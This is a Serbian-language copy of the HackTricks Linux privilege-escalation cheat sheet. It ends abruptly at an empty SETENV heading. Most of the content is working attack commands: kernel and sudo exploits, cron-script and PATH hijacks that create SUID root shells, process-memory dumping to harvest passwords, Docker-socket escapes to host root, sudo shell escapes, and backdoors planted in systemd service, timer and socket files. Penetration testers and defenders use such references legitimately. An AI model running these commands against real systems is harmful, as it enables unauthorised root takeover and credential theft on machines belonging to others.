hacktricks/linux-hardening/privilege-escalation/README.md

72 KiB
Raw Blame History

Linux eskalacija privilegija

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Informacije o sistemu

Informacije o OS-u

Hajde da počnemo sticanjem nekog znanja o OS-u koji se izvršava

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Putanja

Ako imate dozvole za pisanje u bilo kom folderu unutar promenljive PATH, možda ćete moći da preuzmete kontrolu nad nekim bibliotekama ili binarnim fajlovima:

echo $PATH

Informacije o okruženju

Da li postoje zanimljive informacije, lozinke ili API ključevi u okruženjskim varijablama?

(env || set) 2>/dev/null

Eksploatacija kernela

Proverite verziju kernela i da li postoji neki eksploatacioni kod koji se može koristiti za eskalaciju privilegija

cat /proc/version
uname -a
searchsploit "Linux Kernel"

Možete pronaći dobar popis ranjivih kernela i već kompajlovane eksploate ovde: https://github.com/lucyoa/kernel-exploits i exploitdb sploits.
Druge stranice gde možete pronaći neke kompajlovane eksploate: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

Da biste izvukli sve ranjive verzije kernela sa te veb stranice, možete uraditi:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Alati koji mogu pomoći u pretrazi za eksploatacijom kernela su:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (izvršiti NA žrtvi, proverava samo eksploate za kernel 2.x)

Uvek pretražite verziju kernela na Google-u, možda je vaša verzija kernela navedena u nekom kernel eksploatu i tada ćete biti sigurni da je taj eksploit validan.

CVE-2016-5195 (DirtyCow)

Linux Eskalacija privilegija - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Verzija Sudo-a

Na osnovu ranjivih verzija sudo-a koje se pojavljuju u:

searchsploit sudo

Možete proveriti da li je verzija sudo programa ranjiva korišćenjem ovog grep-a.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

Od @sickrov

sudo -u#-1 /bin/bash

Provera potpisa Dmesg nije uspela

Proverite smasher2 kutiju na HTB-u za primer kako bi ova ranjivost mogla biti iskorišćena

dmesg 2>/dev/null | grep "signature"

Više enumeracije sistema

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

Nabroj moguće odbrane

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Izvršni štit

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

ASLR (Address Space Layout Randomization) je tehnika koja služi za otežavanje napadačima da predvide tačne lokacije memorije gde se nalaze važni delovi sistema. Ova tehnika slučajno raspoređuje adrese memorije, čime otežava izvođenje uspešnih napada.

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Bekstvo

Ako se nalazite unutar docker kontejnera, možete pokušati da pobegnete iz njega:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Diskovi

Proverite šta je montirano i odmontirano, gde i zašto. Ako je nešto odmontirano, možete pokušati da ga montirate i proverite da li se nalaze privatne informacije.

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

Korisni softver

Nabroj korisne binarne datoteke

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

Takođe, proverite da li je instaliran bilo koji kompajler. Ovo je korisno ako trebate da koristite neki kernel eksploit jer se preporučuje da ga kompajlirate na mašini na kojoj ćete ga koristiti (ili na sličnoj).

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

Instaliran Softver sa Ranjivim Verzijama

Proverite verziju instaliranih paketa i servisa. Možda postoji stara verzija Nagiosa (na primer) koja bi mogla biti iskorišćena za eskalaciju privilegija...
Preporučuje se ručno proveriti verziju sumnjivijeg instaliranog softvera.

dpkg -l #Debian
rpm -qa #Centos

Ako imate SSH pristup mašini, takođe možete koristiti openVAS da proverite da li su instalirani zastareli i ranjivi softveri unutar mašine.

{% hint style="info" %} Napomena da će ove komande prikazati mnogo informacija koje će uglavnom biti beskorisne, stoga se preporučuje korišćenje nekih aplikacija poput OpenVAS-a ili sličnih koje će proveriti da li je bilo koja instalirana verzija softvera ranjiva na poznate eksploate {% endhint %}

Procesi

Pogledajte koji se procesi izvršavaju i proverite da li neki proces ima više privilegija nego što bi trebalo (možda se tomcat izvršava kao root?)

ps aux
ps -ef
top -n 1

Uvek proveravajte da li su mogući debuggeri electron/cef/chromium pokrenuti, možete ih zloupotrebiti za eskalaciju privilegija. Linpeas ih otkriva proverom parametra --inspect unutar komandne linije procesa.
Takođe proverite svoje privilegije nad binarnim fajlovima procesa, možda možete prepisati nečiji.

Praćenje procesa

Možete koristiti alate poput pspy za praćenje procesa. Ovo može biti veoma korisno za identifikaciju ranjivih procesa koji se često izvršavaju ili kada se ispunjavaju određeni zahtevi.

Memorija procesa

Neke usluge servera čuvaju kredencijale u čistom tekstu unutar memorije.
Obično će vam biti potrebne root privilegije da biste čitali memoriju procesa koji pripadaju drugim korisnicima, stoga je ovo obično korisnije kada već imate root privilegije i želite otkriti više kredencijala.
Međutim, zapamtite da kao običan korisnik možete čitati memoriju procesa koje posedujete.

{% hint style="warning" %} Imajte na umu da danas većina mašina ne dozvoljava ptrace podrazumevano što znači da ne možete dumpovati druge procese koji pripadaju vašem neprivilegovanom korisniku.

Fajl /proc/sys/kernel/yama/ptrace_scope kontroliše pristupačnost ptrace:

  • kernel.yama.ptrace_scope = 0: svi procesi mogu biti debugovani, sve dok imaju isti uid. Ovo je klasičan način na koji je ptracing radio.
  • kernel.yama.ptrace_scope = 1: samo roditeljski proces može biti debugovan.
  • kernel.yama.ptrace_scope = 2: Samo admin može koristiti ptrace, jer zahteva CAP_SYS_PTRACE sposobnost.
  • kernel.yama.ptrace_scope = 3: Nijedan proces ne sme biti praćen ptrace-om. Nakon podešavanja, potreban je ponovni start da bi se omogućilo ptracing ponovo. {% endhint %}

GDB

Ako imate pristup memoriji FTP servisa (na primer), možete dobiti Heap i pretražiti njegove kredencijale.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB skripta

{% code title="dump-memory.sh" %}

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

{% endcode %}

/proc/$pid/maps & /proc/$pid/mem

Za dati ID procesa, maps pokazuje kako je memorija mapirana unutar virtualnog adresnog prostora tog procesa; takođe prikazuje dozvole svake mapirane regije. Mem pseudo fajl otkriva samu memoriju procesa. Iz maps fajla znamo koje memorijske regije su čitljive i njihove ofsete. Koristimo ove informacije da bismo tražili u mem fajlu i izbacili sve čitljive regije u fajl.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem pruža pristup fizičkoj memoriji sistema, a ne virtuelnoj memoriji. Virtuelni adresni prostor kernela može se pristupiti korišćenjem /dev/kmem.
Obično, /dev/mem je samo čitljiv od strane root korisnika i grupe kmem.

strings /dev/mem -n10 | grep -i PASS

ProcDump za Linux

ProcDump je Linux reinterpretacija klasičnog alata ProcDump iz kolekcije alata Sysinternals za Windows. Preuzmite ga sa https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

Alati

Za ispuštanje memorije procesa možete koristiti:

Kredencijali iz memorije procesa

Primer ručnog postupka

Ako otkrijete da je proces autentifikatora pokrenut:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

Možete izvršiti isplavljenje procesa (vidite prethodne sekcije da biste pronašli različite načine za isplavljenje memorije procesa) i pretražiti akreditacije unutar memorije:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

Alatka https://github.com/huntergregal/mimipenguin će ukrasti lozinke u čistom tekstu iz memorije i iz nekih dobro poznatih datoteka. Potrebne su privilegije root korisnika da bi pravilno radila.

Funkcija Naziv procesa
GDM lozinka (Kali Desktop, Debian Desktop) gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) gnome-keyring-daemon
LightDM (Ubuntu Desktop) lightdm
VSFTPd (Aktivne FTP konekcije) vsftpd
Apache2 (Aktivne HTTP Basic Auth sesije) apache2
OpenSSH (Aktivne SSH sesije - Sudo korišćenje) sshd:

Pretraga Regexa/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

Planirani/Cron poslovi

Proverite da li je neki planirani posao ranjiv. Možda možete iskoristiti skriptu koju izvršava root (ranjivost sa zvezdicom? možete li menjati datoteke koje root koristi? koristiti simboličke veze? kreirati specifične datoteke u direktorijumu koji root koristi?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Putanja za Cron

Na primer, unutar /etc/crontab datoteke možete pronaći PUTANJU: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(Primetite kako korisnik "user" ima privilegije pisanja nad /home/user)

Ako unutar ove crontab datoteke korisnik root pokuša da izvrši neku komandu ili skriptu bez postavljanja putanje. Na primer: * * * * root overwrite.sh
Tada možete dobiti root shell korišćenjem:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Cron korišćenje skripte sa zamenskim znakom (Wildcard Injection)

Ako skripta koju izvršava root ima "*" unutar komande, možete iskoristiti ovo da biste izvršili neočekivane radnje (kao što je eskalacija privilegija). Primer:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

Ako je zvezdica prethodila putanji poput /some/path/*, nije ranjiva (čak ni ./* nije).

Pročitajte sledeću stranicu za više trikova eksploatacije zvezdica:

{% content-ref url="wildcards-spare-tricks.md" %} wildcards-spare-tricks.md {% endcontent-ref %}

Pisanje preko skripti Cron-a i simboličke veze

Ako možete izmeniti skriptu Cron-a koju izvršava root, možete veoma lako dobiti shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

Ako skripta izvršena od strane root koristi direktorijum u kom imate pun pristup, možda bi bilo korisno obrisati taj folder i napraviti symlink folder ka drugom koji služi skriptu kojom upravljate vi.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

Česti cron poslovi

Možete pratiti procese kako biste pronašli one koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda možete iskoristiti to i eskalirati privilegije.

Na primer, da biste pratili svakih 0.1s tokom 1 minuta, sortirali po manje izvršenim komandama i obrisali komande koje su najviše puta izvršene, možete uraditi:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

Takođe možete koristiti pspy (ovo će pratiti i navesti svaki proces koji se pokrene).

Nevidljivi cron poslovi

Moguće je kreirati cron posao ubacivanjem povratnog znaka nakon komentara (bez znaka za novi red), i cron posao će raditi. Primer (obratite pažnju na znak za povratni red):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

Servisi

.service fajlovi sa dozvolom za pisanje

Proverite da li možete da pišete u bilo koji .service fajl, ako možete, možete ga izmeniti tako da izvršava vaš bekdor kada servis bude pokrenut, ponovo pokrenut ili zaustavljen (možda ćete morati da sačekate da se mašina ponovo pokrene).
Na primer, kreirajte svoj bekdoor unutar .service fajla sa ExecStart=/tmp/script.sh

Binarni fajlovi servisa sa dozvolom za pisanje

Imajte na umu da ako imate dozvole za pisanje nad binarnim fajlovima koji se izvršavaju od strane servisa, možete ih promeniti u bekdoore tako da kada se servisi ponovo izvrše, bekdoori će biti izvršeni.

systemd PUTANJE - Relativne putanje

Možete videti PUTANJE koje koristi systemd sa:

systemctl show-environment

Ako otkrijete da možete pisati u bilo kojem od foldera na putanji, možda ćete moći da povećate privilegije. Morate tražiti da li se koriste relativne putanje u konfiguracionim fajlovima servisa kao što su:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

Zatim, kreirajte izvršnu datoteku sa istim imenom kao relativna putanja binarne datoteke unutar systemd PATH foldera u koji možete pisati, i kada se servis zatraži da izvrši ranjivu radnju (Start, Stop, Reload), vaš zadnji prolaz će biti izvršen (obično neprivilegovani korisnici ne mogu pokrenuti/zaustaviti servise, ali proverite da li možete koristiti sudo -l).

Saznajte više o servisima sa man systemd.service.

Tajmeri

Tajmeri su systemd unit datoteke čije ime završava na **.timer** koje kontrolišu **.service** datoteke ili događaje. Tajmeri se mogu koristiti kao alternativa cron-u jer imaju ugrađenu podršku za kalendar događaje i monotonu vremensku događaje i mogu se pokretati asinhrono.

Možete nabrojati sve tajmere sa:

systemctl list-timers --all

Pisanje u timerima

Ako možete izmeniti tajmer, možete ga naterati da izvrši neke postojeće systemd.unit-e (kao što su .service ili .target).

Unit=backdoor.service

U dokumentaciji možete pročitati šta je jedinica:

Jedinica koja se aktivira kada istekne ovaj tajmer. Argument je ime jedinice, čiji sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano prelazi na servis koji ima isto ime kao jedinica tajmera, osim sufiksa. (Vidi gore.) Preporučuje se da se ime jedinice koja se aktivira i ime jedinice tajmera nazivaju identično, osim sufiksa.

Dakle, da biste iskoristili ovu dozvolu, trebalo bi da:

  • Pronađete neku systemd jedinicu (kao što je .service) koja izvršava zapisivu binarnu datoteku
  • Pronađete neku systemd jedinicu koja izvršava relativnu putanju i imate dozvole za pisanje nad systemd PUTANJOM (da biste se predstavili kao ta izvršna datoteka)

Saznajte više o tajmerima sa man systemd.timer.

Omogućavanje Tajmera

Da biste omogućili tajmer, potrebne su vam administratorske privilegije i da izvršite:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Zapamtite da se tajmer aktivira tako što se napravi simbolička veza ka njemu na /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) omogućavaju komunikaciju procesa na istom ili različitim mašinama unutar modela klijent-server. Koriste standardne Unix deskriptorske datoteke za međuračunarsku komunikaciju i postavljaju se putem .socket datoteka.

Soketi se mogu konfigurisati korišćenjem .socket datoteka.

Saznajte više o soketima sa man systemd.socket. Unutar ove datoteke, mogu se konfigurisati nekoliko interesantnih parametara:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: Ove opcije su različite, ali se koristi sažetak da ukazuje gde će slušati soket (putanja AF_UNIX soket datoteke, IPv4/6 i/ili broj porta za slušanje, itd.)
  • Accept: Prihvata boolean argument. Ako je true, instanca servisa je pokrenuta za svaku dolaznu vezu i samo se soket veze prosleđuje njoj. Ako je false, svi slušajući soketi sami se prosleđuju pokrenutom servisnom jedinicom, i samo jedna servisna jedinica je pokrenuta za sve veze. Ova vrednost se ignoriše za datagram sokete i FIFO-ove gde jedna servisna jedinica bezuslovno obrađuje sav dolazni saobraćaj. Podrazumevano je false. Iz performansnih razloga, preporučuje se da se novi demoni pišu samo na način koji je pogodan za Accept=no.
  • ExecStartPre, ExecStartPost: Prihvata jednu ili više komandnih linija, koje se izvršavaju pre ili nakon kreiranja slušajućih soketa/FIFO-ova i njihovog vezivanja, redom. Prvi token komandne linije mora biti apsolutno ime datoteke, a zatim slede argumenti za proces.
  • ExecStopPre, ExecStopPost: Dodatne komande koje se izvršavaju pre ili nakon zatvaranja i uklanjanja slušajućih soketa/FIFO-ova, redom.
  • Service: Navodi ime servisne jedinice koja se aktivira na dolazni saobraćaj. Ovo podešavanje je dozvoljeno samo za sokete sa Accept=no. Podrazumevano je servis koji nosi isto ime kao soket (sa zamenjenim sufiksom). U većini slučajeva, ne bi trebalo da bude potrebno koristiti ovu opciju.

Pisanje u .socket datoteke

Ako pronađete pisivu .socket datoteku, možete dodati na početak [Socket] odeljka nešto poput: ExecStartPre=/home/kali/sys/backdoor i zadnja vrata će biti izvršena pre nego što se soket kreira. Stoga, verovatno ćete morati da sačekate da se mašina ponovo pokrene.
Napomena da sistem mora koristiti tu konfiguraciju soket datoteke ili zadnja vrata neće biti izvršena

Pisivi soketi

Ako identifikujete bilo koji pisivi soket (sada govorimo o Unix soketima, a ne o konfiguracionim .socket datotekama), onda možete komunicirati sa tim soketom i možda iskoristiti ranjivost.

Enumeracija Unix soketa

netstat -a -p --unix

Sirova veza

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Primer eksploatacije:

{% content-ref url="socket-command-injection.md" %} socket-command-injection.md {% endcontent-ref %}

HTTP soketi

Imajte na umu da mogu postojati neki soketi koji slušaju HTTP zahteve (ne mislim na .socket fajlove već na fajlove koji deluju kao unix soketi). Možete proveriti ovo sa:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

Pisanje u Docker Socket

Docker socket, često pronađen na lokaciji /var/run/docker.sock, je kritičan fajl koji treba da bude obezbeđen. Podrazumevano, može se pisati od strane korisnika root i članova grupe docker. Posedovanje pristupa pisanju u ovaj socket može dovesti do eskalacije privilegija. Evo detaljnog objašnjenja kako to može biti urađeno i alternativnih metoda ako Docker CLI nije dostupan.

Eskalacija privilegija pomoću Docker CLI

Ako imate pristup pisanju u Docker socket, možete eskalirati privilegije koristeći sledeće komande:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

Ove komande vam omogućavaju pokretanje kontejnera sa pristupom nivou korena fajl sistema domaćina.

Korišćenje Docker API-ja direktno

U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati korišćenjem Docker API-ja i curl komandi.

  1. Lista Docker slika: Dobijanje liste dostupnih slika.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Kreiranje kontejnera: Slanje zahteva za kreiranje kontejnera koji montira koreni direktorijum sistema domaćina.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

Pokretanje novokreiranog kontejnera:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Povezivanje na kontejner: Koristite socat za uspostavljanje veze sa kontejnerom, omogućavajući izvršavanje komandi unutar njega.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

Nakon uspostavljanja veze putem socat, možete izvršavati komande direktno u kontejneru sa pristupom nivou korena fajl sistema domaćina.

Ostalo

Imajte na umu da ako imate dozvole za pisanje preko docker socketa jer ste unutar grupe docker imate više načina za eskalaciju privilegija. Ako docker API osluškuje na portu takođe možete biti u mogućnosti da ga kompromitujete.

Proverite više načina za izlazak iz docker-a ili zloupotrebu kako biste eskalirali privilegije u:

{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}

Eskalacija privilegija Containerd (ctr)

Ako otkrijete da možete koristiti ctr komandu pročitajte sledeću stranicu jer možda možete zloupotrebiti kako biste eskalirali privilegije:

{% content-ref url="containerd-ctr-privilege-escalation.md" %} containerd-ctr-privilege-escalation.md {% endcontent-ref %}

Eskalacija privilegija RunC

Ako otkrijete da možete koristiti runc komandu pročitajte sledeću stranicu jer možda možete zloupotrebiti kako biste eskalirali privilegije:

{% content-ref url="runc-privilege-escalation.md" %} runc-privilege-escalation.md {% endcontent-ref %}

D-Bus

D-Bus je sofisticiran sistem međuprocesne komunikacije (IPC) koji omogućava aplikacijama efikasnu interakciju i deljenje podataka. Dizajniran sa modernim Linux sistemom na umu, pruža robustan okvir za različite oblike komunikacije aplikacija.

Sistem je fleksibilan, podržava osnovnu IPC koja poboljšava razmenu podataka između procesa, podsećajući na poboljšane UNIX domenske sockete. Osim toga, pomaže u emitovanju događaja ili signala, podstičući besprekornu integraciju među komponentama sistema. Na primer, signal od Bluetooth demona o dolaznom pozivu može naterati plejer muzike da se stiša, poboljšavajući korisničko iskustvo. Pored toga, D-Bus podržava sistem udaljenih objekata, pojednostavljujući zahteve za usluge i pozive metoda između aplikacija, olakšavajući procese koji su tradicionalno bili složeni.

D-Bus funkcioniše na modelu dozvole/zabrane, upravljajući dozvolama poruka (pozivi metoda, emitovanje signala, itd.) na osnovu kumulativnog efekta podudarnih pravila politike. Ove politike specificiraju interakcije sa autobusom, potencijalno omogućavajući eskalaciju privilegija kroz iskorišćavanje ovih dozvola.

Primer takve politike u /etc/dbus-1/system.d/wpa_supplicant.conf je pružen, detaljno opisujući dozvole za korisnika root da poseduje, šalje i prima poruke od fi.w1.wpa_supplicant1.

Politike bez specificiranog korisnika ili grupe se primenjuju univerzalno, dok politike konteksta "default" važe za sve koji nisu obuhvaćeni drugim specifičnim politikama.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

Saznajte kako da nabrojite i iskoristite D-Bus komunikaciju ovde:

{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} d-bus-enumeration-and-command-injection-privilege-escalation.md {% endcontent-ref %}

Mreža

Uvek je interesantno nabrojati mrežu i utvrditi poziciju mašine.

Generička enumeracija

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

Otvoreni portovi

Uvek proverite mrežne servise koji se izvršavaju na mašini sa kojima niste mogli da interagujete pre pristupa:

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

Snifing

Proverite da li možete da špijunirate saobraćaj. Ako možete, možda ćete moći da pokupite neke akreditive.

timeout 1 tcpdump

Korisnici

Generičko Nabrajanje

Proverite ko ste, koje privilegije imate, koji korisnici se nalaze u sistemima, koji od njih mogu da se prijave i koji imaju root privilegije:

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

Veliki UID

Neke verzije Linuxa bile su pogođene greškom koja omogućava korisnicima sa UID > INT_MAX da eskaliraju privilegije. Više informacija: ovde, ovde i ovde.
Iskoristite to koristeći: systemd-run -t /bin/bash

Grupe

Proverite da li ste član neke grupe koja bi vam mogla omogućiti root privilegije:

{% content-ref url="interesting-groups-linux-pe/" %} interesting-groups-linux-pe {% endcontent-ref %}

Clipboard

Proverite da li se unutar clipboard-a nalazi nešto zanimljivo (ukoliko je moguće)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi

Politika lozinke

grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs

Poznate lozinke

Ako znate bilo koju lozinku okoline, pokušajte da se prijavite kao svaki korisnik koristeći tu lozinku.

Su Brute

Ako vam ne smeta pravljenje puno buke i ako su binarni fajlovi su i timeout prisutni na računaru, možete pokušati da probate da nasilno pristupite korisniku koristeći su-bruteforce.
Linpeas sa parametrom -a takođe pokušava nasilno pristupiti korisnicima.

Zloupotreba PATH-a sa dozvolom pisanja

$PATH

Ako otkrijete da možete pisati unutar nekog foldera u $PATH-u, možda ćete moći da eskalirate privilegije tako što ćete kreirati tajni prolaz unutar foldera u koji možete pisati sa imenom neke komande koja će biti izvršena od strane drugog korisnika (idealno root) i koja nije učitana iz foldera koji se nalazi pre vašeg foldera u $PATH-u.

SUDO i SUID

Možda vam je dozvoljeno da izvršite neku komandu koristeći sudo ili ta komanda može imati postavljen bit suid. Proverite to koristeći:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Neke neočekivane komande vam omogućavaju da čitate i/ili pišete fajlove ili čak izvršite komandu. Na primer:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>

NOPASSWD

Sudo konfiguracija može omogućiti korisniku da izvrši neku komandu sa privilegijama drugog korisnika, a da pritom ne zna šifru.

$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim

U ovom primeru korisnik demo može pokrenuti vim kao root, sada je trivijalno dobiti shell dodavanjem ssh ključa u root direktorijum ili pozivom sh.

sudo vim -c '!sh'

SETENV

